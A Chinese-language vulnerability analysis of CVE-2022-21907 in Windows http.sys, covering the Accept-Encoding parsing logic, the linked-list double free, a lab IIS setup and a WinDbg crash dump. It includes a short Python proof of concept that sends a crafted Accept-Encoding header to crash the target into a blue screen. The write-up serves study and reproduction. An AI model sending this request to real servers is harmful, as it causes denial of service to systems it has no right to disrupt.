cve-2022-21907分析与复现

microsoft-confirms-windows-10-20h2-2004.png

​ 说实话,我感觉这个漏洞没有exp不是因为没人公开exp,而是这个漏洞压根就是一个拒绝服务漏洞,一个double free还这么苛刻能怎么利用。

​ 还有一件非常重要的事情不是很确定,就是下面复现的这个漏洞到底是cve-2022-21907还是cve-2021-31166呢,似乎互联网上的大部分人都认同cve-2022-21907是一个doublefree的漏洞,其分析也与本文中下文相同,但是方面,极小部分人说这个漏洞应该是一个栈操作的uaf漏洞。其实我个人更偏向后者,也就是实际上下文中复现的漏洞是cve-2021-31166,因为这个漏洞的调用栈和31166都完全一致,同时31166的poc也能在这个漏洞的环境下跑通(那么微软上一个补丁是怎么打的呢,让人费解)。

​ 总的来说,既然cve官方给出的参考链接里,信息也与本文复现结果类似,就暂且认为他是21907吧…

0x01 基本概况

​ cve-2022-21907为 http.sys 的远程代码执行的漏洞(CVE-2022-21907),攻击者可以在未授权的情况下发出特定的 HTTP 请求达成缓冲区溢出攻击,触发此漏洞。目前受影响的 Windows版本大多是20H1及21H1系列,范围比较广。攻击者通过向Web服务器(如局域网中搭建的IIS 服务器)发送特定格式的HTTP数据包,轻则使靶机蓝屏重启,重则从而能在目标系统上执行任意代码。 该漏洞被微软提示为“可蠕虫化”,即无需用户手动交互便可通过网络进行自我传播。

image-20220713143654275

0x02 漏洞背景知识

一、http.sys

​ 首先介绍出现漏洞的模块:http.sys。

​ 自IIS6.0版本开始,微软公司为了优化Windows平台上的IIS服务器,引入了http.sys这一内核驱动程序。在http.sys未出现的更早版本,对用户http请求进行监听的功能是集成在Inetinfo.exe中的,与此同时,一部分用户的代码也通过该进程进行运行,这导致由于用户代码的不稳定性,可能导致系统进程的崩溃。为了解决这一问题,http.sys模块作为运行在内核模式下与用户模式的接口模块,有效的隔离了系统进程和用户代码,有效的提高了操作系统的稳定性。进一步的,http.sys提供了HTTP请求的接收与响应、快速缓存、提高性能、日志等功能服务,简言之,http.sys作为内核态的接口,与用户态W3Wp.exe等程序进行交互,其最主要的功能有二:

  1. Kernel mode request queuing(内核模式请求队列)
  2. Kernel-mode caching (内核模式缓存)

​ 通过下图,对这两个功能进行解释:

http.sys1.drawio

​ 如上图所示,当请求抵达终端,数据通过TCPIP.sys进行网络层数据报文的解析,而后进入http.sys,在Parse中,回味http请求根据URL添加句柄,对其进行标记,并根据句柄维护一个对应URL句柄的命名空间,命名空间会将请求分发至对应的请求队列(Requset Queue)中,进一步地,通过http.sys与用户态应用程序进行交互,这即是上文中提到的内核模式请求队列功能。

​ 另一方面,考虑到web网站有时会频繁出现重复的http请求,对应相同的http响应,http.sys维护了对应的响应缓存池,当用户对重复的资源进行请求时,请求信息通过HttpEngine直接向ResponseCache缓存池发送请求,并直接将响应结果发送给用户。这一过程从用户发送http请求到系统返回响应结果的一过程都是通过http.sys在内核模式下完成的,不需要在内核模式和用户模式下切换,极大的节省了系统资源,提高响应速度,这即是上文中提到的内核模式缓存功能。

​ 上述http.sys在系统中的位置为:C://windows/system32/drivers/http.sys。

二、Accept Encoding

​ Accept Encoding 是http请求头中的一个字段,与之对应的是http响应头中的字段Content Encoding,二者均用于表示传输内容编码的压缩情况,Accept Encoding首部字段用来告知服务器用户代理支持的内容编码及内容编码的优先级顺序,因此Accept Encoding可带有多种编码类型,如常见的Chrome浏览器一般会使用:

image-20220718100254138

​ 意为浏览器支持对gzip、deflate、br三种编码方式的解析,且优先希望得到gzip格式压缩的响应。

0x03 漏洞原理分析

一、确定出错位置

​ 要对此漏洞进行溯源,需使用Windows产生蓝屏错误后生成的.dmp文件分析堆栈,其中复现部分可参见下一模块。

​ 获取dump文件后,使用windbg软件进行分析,可得结果如下:

image-20220715152716659

​ 其中,应重点关注崩溃前产生的栈信息:

image-20220715152849828

​ 如图所示,最终出错的函数定位在ULFreeUnknownCodingList函数的第0x063行,借助静态分析工具对源代码进行查看对应函数基地址+0x63,即0x01C013F4D4+0x63=0x01C013F537处,显示如下:

image-20220715153357517

​ 或者,可关注Windbg分析dmp文件Note部分,其显示了报错时的寄存器情况以及报错语句情况,与上述使用静态分析工具查看的结果相同,如下图:

image-20220715153807070

​ int 29指令时微软从 Win8 开始引入的一个新的中断序号,用来快速抛出异常,如果中断发生在 Ring0 (内核态)中,操作系统会抛出一个 KERNEL_SECURITY_CHECK_FAILURE (0x139) 的蓝屏信息,并终止当前程序运行。

​ 使用静态分析工具对报错函数UlFreeUnknownCodingList进行反汇编,并对其中重要变量名进行修改,可得到如下的伪代码:

image-20220715154622176

​ 其中,函数要进入含有终端指令的分支,即伪代码中的__fastfail分支,需满足标识处的条件,要理解该条件,需要确定此函数的传参和要实现的功能。

二、UlpParseAcceptEncoding 逻辑分析

1.构建链表UlFreeUnknownCodingList

​ 根据Windbg中分析崩溃前的调用栈可知,调用 UlFreeUnknownCodingList 的是 UlpParseAcceptEncoding 函数,它会循环解析 Accept-Encoding 中的编码方式,首先通过 UlpParseContentCoding 函数依次获取每个编码信息,如果是支持的编码方式,则设置相应位;如果是 没有被识别出的其他编码方式,则调用 ExAllocatePoolWithTagPriority 函数申请 0x20 字节大小的堆空间来存放这些信息,然后将它们链到 UnknownCodingList 中,其中UnknownCodingList 是一个双向循环链表。如下图所示:

image-20220715161313443

2.更换Request链表头

​ 上述构建链表过程通过循环调用,直到获取完所有编码后,会进入一个判断分支,除非UnknownCodingList 不为空且链头前后链接无异常,就会将 UnknownCodingListHead 取下,然后把 RequestUnknownCodingListHead 链入。简言之,对链表进行校验后,若无错误则更换链头进入下一步逻辑,如下图所示:

image-20220715162214553

​ 对其判断逻辑进行整理,可获得逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//*************如果满足以下任意条件,则会调用 __fastfail(3u)*************
//校验 UnknownCodingListHead 前后关系
UnknownCodingListHead.Flink->Blink != &UnknownCodingListHead
UnknownCodingListHead.Blink->Flink != &UnknownCodingListHead
//将 UnknownCodingListHead 取下
UnknownCodingListHead.Blink->Flink = UnknownCodingListHead.Flink
UnknownCodingListHead.Flink->Blink = UnknownCodingListHead.Blink
//判断 RequestUnknownCodingListHead 是否为空
Request->UnknownCodingListHead.Flink->Blink != &Request->UnknownCodingListHead
Request->UnknownCodingListHead.Blink->Flink != &Request->UnknownCodingListHead
//校验 UnknownCodingListHead->Flink 前后关系
UnknownCodingListHead->Flink->Flink->Blink != UnknownCodingListHead->Flink
UnknownCodingListHead->Blink->Flink != UnknownCodingListHead->Flink
//***********判断条件通过之后,将 RequestUnknownCodingListHead 链进去***********
Request->UnknownCodingListHead.Blink->Flink = UnknownCodingListHead->Flink
Request->UnknownCodingListHead.Blink = UnknownCodingListHead.Flink->Blink
UnknownCodingListHead.Flink->Blink->Flink = &Request->UnknownCodingListHead
UnknownCodingListHead.Flink->Blink = Request->UnknownCodingListHead.Blink

​ 在上一步更换链头的过程中,虽然已经将链表头由UnknownCodingListHead更换为Request->UnknownCodingListHead,但是但并没有 UnknownCodingListHead 将清空,通过 UnknownCodingListHead 还是可以访问 UnknownCodingListHead->Flink 和 UnknownCodingListHead->Blink,即,UnknownCodingListHead 中依然保留可以操控原来链表的指针,其数据可表现为如下情况。

cve-2022-21907.drawio

​ 如上图所示,图中每个节点左右侧箭头分别为节点前后节点的指针,即在更换链表头后,未将UnknownCodingListHead置0。

3.v5参数判定

​ 在此之后,程序进入判断逻辑,判断 v5 是否小于 0,是则跳到 LABEL_33:

image-20220718103758756

image-20220718104149353

​ LABEL_33 处会判断 UnknownCodingList 是否为空,如果不为空就调用 UlFreeUnknownCodingList 函数,且参数为 &UnknownCodingListHead。由于 UnknownCodingListHead 已经不在循环双链表中,按照这个流程 对 UnknownCodingList 进行释放就会出现doublefree的问题。

​ 因此,要触发此漏洞,要使得v5的值小于0,通过对于v5进行溯源,如下图所示:

​ v5作为函数UlpParseContentCoding的返回值,若 v5 小于 0 且不等于 0xC0000225,则逻辑转移至 LABEL_46,这会进一步导致程序逻辑跳过将 RequestUnknownCodingListHead 链进链表的过程,在 UlFreeUnknownCodingList 函数中释放 UnknownCodingList 时,不会出现doublefree问题。

​ 另一方面,如果进入下面第二个条件判断,即满足!v9==1条件,也就意味着 UnknownCodingList 为空。这会导致程序逻辑跳转到LABEL_25,也不会对UlFreeUnknownCodingList 函数进行调用。

image-20220718104556497

​ 综上,只有当 v5 为 0xC0000225,且UnknownCodingList 不为空时,才会进行前文中分析的链表操作,且在最后判断 v5 < 0 后,跳到 LABEL_30 去执行 UlFreeUnknownCodingList 函数,于是就引起了double free。

三、漏洞触发条件分析

​ 上文中提到,只有使得v5,也就是UlpParseContentCoding函数的返回值等于0xC0000225,才能使得程序进入漏洞触发逻辑,下面将对UlpParseContentCoding函数逻辑进行分析:

​ 函数逻辑复杂,但返回值为v13,如下图所示

image-20220718112151428

​ 因此可对v13变量进行追踪,在函数逻辑中,v9通过参数a2进行赋值,如下图所示,而通过对HttpChars中的空格内容进行判断,进而对于v9进行自减操作:

image-20220718112838713

image-20220718113209474

image-20220718112913503

​ 最终,当v9的值为0时,将返回值v13赋值为0xc0000225,并跳转至返回逻辑。综上,在函数UlpParseContentCoding中,v9=a2-空格数量。

​ 向函数外溯源传参a2可知,a2为当前解析剩余长度,因此要使得v9的值为0,可将最后一个参数设定为空格,在进入UlpParseContentCoding后,a2的值为1,v9会被赋值为1,通过循环自减后,使得v9的值为0。使得上图判断条件成立后,作为函数返回值的参数v13会被进一步赋值为0xc0000225,最终使得程序进入doublefree的漏洞分支逻辑。

0x04 脚本编写

一、简单脚本编写

​ 如上文所述,只需要使用脚本修改http请求的请求头中的Accept Encoding字段,即可触发系统对于doublefree的检测机制,最终导致蓝屏,根据上文的分析,可得脚本如下所示:

1
2
3
4
5
6
7
import requests
import time

print("Please input your host...\n")
host = input()

poc = requests.get(f'http://{host}/', headers = {'Accept-Encoding': 'A, ,',})

二、exp实现思路

0x05 环境搭建

一、本地搭建http服务

1.在控制面板→程序→启用和关闭windows功能中启用网络服务功能如下,点击确定。

image-20220718123707493

2.打开IIS管理器,点击“内容视图”,“网站”,进入如下界面。

image-20220718123834265

3.选择默认网页,点击右侧操作栏的浏览按钮。

image-20220718123911795

4.浏览器弹出如下窗口,访问成功,说明成功在本地部署http服务。

image-20220718131524492

二、开启蓝屏日志储存功能

1.进入计算机设置,点击“高级系统设置”

image-20220718131752652

2.在“高级”一栏中点击“启动和故障恢复”右侧的“设置”

image-20220718131957730

3.在启动和故障恢复中,选择小内存转储,设置转储目录如下图所示。

image-20220718132055910

4.通过poc脚本触发漏洞,导致靶机蓝屏后,可在靶机“C:\\Windows\Minidump”文件夹中,观察到出现了如下文件:

image-20220718132331376

复现结果:

image-20220718143918838

附录:dump文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
KEY_VALUES_STRING: 1

Key : Analysis.CPU.mSec
Value: 155

Key : Analysis.DebugAnalysisManager
Value: Create

Key : Analysis.Elapsed.mSec
Value: 120018

Key : Analysis.Init.CPU.mSec
Value: 1421

Key : Analysis.Init.Elapsed.mSec
Value: 552696

Key : Analysis.Memory.CommitPeak.Mb
Value: 61

Key : Bugcheck.Code.DumpHeader
Value: 0x139

Key : Bugcheck.Code.Register
Value: 0x139

Key : Dump.Attributes.AsUlong
Value: 8

Key : Dump.Attributes.KernelGeneratedTriageDump
Value: 1


FILE_IN_CAB: 071422-8890-01.dmp

ADDITIONAL_DEBUG_TEXT:
You can run '.symfix; .reload' to try to fix the symbol path and load symbols.

WRONG_SYMBOLS_TIMESTAMP: f08de83e

WRONG_SYMBOLS_SIZE: 1046000

FAULTING_MODULE: fffff8005e600000 nt

DUMP_FILE_ATTRIBUTES: 0x8
Kernel Generated Triage Dump

BUGCHECK_CODE: 139

BUGCHECK_P1: 3

BUGCHECK_P2: ffff8080d6faf5c0

BUGCHECK_P3: ffff8080d6faf518

BUGCHECK_P4: 0

TRAP_FRAME: ffff8080d6faf5c0 -- (.trap 0xffff8080d6faf5c0)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000003
rdx=ffffb30bae58d700 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8005cb3f537 rsp=ffff8080d6faf750 rbp=ffff8080d6faf809
r8=ffffb30bae589190 r9=0000000000000008 r10=00000000ffffffff
r11=0000000000000133 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe cy
HTTP!UlFreeUnknownCodingList+0x63:
fffff800`5cb3f537 cd29 int 29h
Resetting default scope

EXCEPTION_RECORD: ffff8080d6faf518 -- (.exr 0xffff8080d6faf518)
ExceptionAddress: fffff8005cb3f537 (HTTP!UlFreeUnknownCodingList+0x0000000000000063)
ExceptionCode: c0000409 (Security check failure or stack buffer overrun)
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 0000000000000003
Subcode: 0x3 FAST_FAIL_CORRUPT_LIST_ENTRY

BLACKBOXNTFS: 1 (!blackboxntfs)


BLACKBOXWINLOGON: 1

CUSTOMER_CRASH_COUNT: 1

EXCEPTION_STR: WRONG_SYMBOLS

STACK_TEXT:
ffff8080`d6faf750 fffff800`5caf6ac5 : ffff9f0f`8cfb5f8f ffff8080`00000001 ffff8080`d6faf7d4 00000000`00000000 : HTTP!UlFreeUnknownCodingList+0x63
ffff8080`d6faf780 fffff800`5cacd191 : ffff05ed`f48a51e3 ffff8080`d6faf959 00000000`00000010 fffff800`5cacd140 : HTTP!UlpParseAcceptEncoding+0x298f5
ffff8080`d6faf870 fffff800`5caa9368 : fffff800`5ca746e0 ffff8080`d6faf959 ffff9f0f`8dfdc010 00000000`00000000 : HTTP!UlAcceptEncodingHeaderHandler+0x51
ffff8080`d6faf8c0 fffff800`5caa8a47 : ffff9f0f`8cfb5d88 00000000`00000231 00000000`00000000 fffff800`5e922b60 : HTTP!UlParseHeader+0x218
ffff8080`d6faf9c0 fffff800`5ca04c5f : ffff9f0f`9154fe08 ffff9f0f`9154fbf0 ffff8080`d6fafbb9 00000000`00000000 : HTTP!UlParseHttp+0xac7
ffff8080`d6fafb20 fffff800`5ca0490a : fffff800`5ca04760 ffff9f0f`8cfb5d20 00000000`00000000 00000000`00000001 : HTTP!UlpParseNextRequest+0x1ff
ffff8080`d6fafc20 fffff800`5caa4852 : fffff800`5ca04760 fffff800`5ca04760 00000000`00000001 00000000`00000000 : HTTP!UlpHandleRequest+0x1aa
ffff8080`d6fafcc0 fffff800`5e955935 : ffff9f0f`9154fc70 fffff800`5ca75f80 00000000`00000584 00038000`ad1b3dfe : HTTP!UlpThreadPoolWorker+0x112
ffff8080`d6fafd50 ffff9f0f`9154fc70 : fffff800`5ca75f80 00000000`00000584 00038000`ad1b3dfe ffff9f0f`8dda6040 : nt+0x355935
ffff8080`d6fafd58 fffff800`5ca75f80 : 00000000`00000584 00038000`ad1b3dfe ffff9f0f`8dda6040 00000000`00000000 : 0xffff9f0f`9154fc70
ffff8080`d6fafd60 00000000`00000584 : 00038000`ad1b3dfe ffff9f0f`8dda6040 00000000`00000000 00000000`00000000 : HTTP!UlThreadPoolArena
ffff8080`d6fafd68 00038000`ad1b3dfe : ffff9f0f`8dda6040 00000000`00000000 00000000`00000000 00000000`00000001 : 0x584
ffff8080`d6fafd70 ffff9f0f`8dda6040 : 00000000`00000000 00000000`00000000 00000000`00000001 ffff9f0f`8dda7080 : 0x00038000`ad1b3dfe
ffff8080`d6fafd78 00000000`00000000 : 00000000`00000000 00000000`00000001 ffff9f0f`8dda7080 fffff800`5e9fe728 : 0xffff9f0f`8dda6040


STACK_COMMAND: .trap 0xffff8080d6faf5c0 ; kb

IMAGE_VERSION: 10.0.19041.1339

EXCEPTION_CODE_STR: F08DE83E

PROCESS_NAME: ntoskrnl.wrong.symbols.exe

IMAGE_NAME: ntoskrnl.wrong.symbols.exe

MODULE_NAME: nt_wrong_symbols

SYMBOL_NAME: nt_wrong_symbols!F08DE83E1046000

FAILURE_BUCKET_ID: WRONG_SYMBOLS_X64_TIMESTAMP_971121-002430_F08DE83E_nt_wrong_symbols!F08DE83E1046000

OSPLATFORM_TYPE: x64

OSNAME: Windows 10

FAILURE_ID_HASH: {9b688587-ec16-b628-626c-931e41c64f62}

Followup: MachineOwner
---------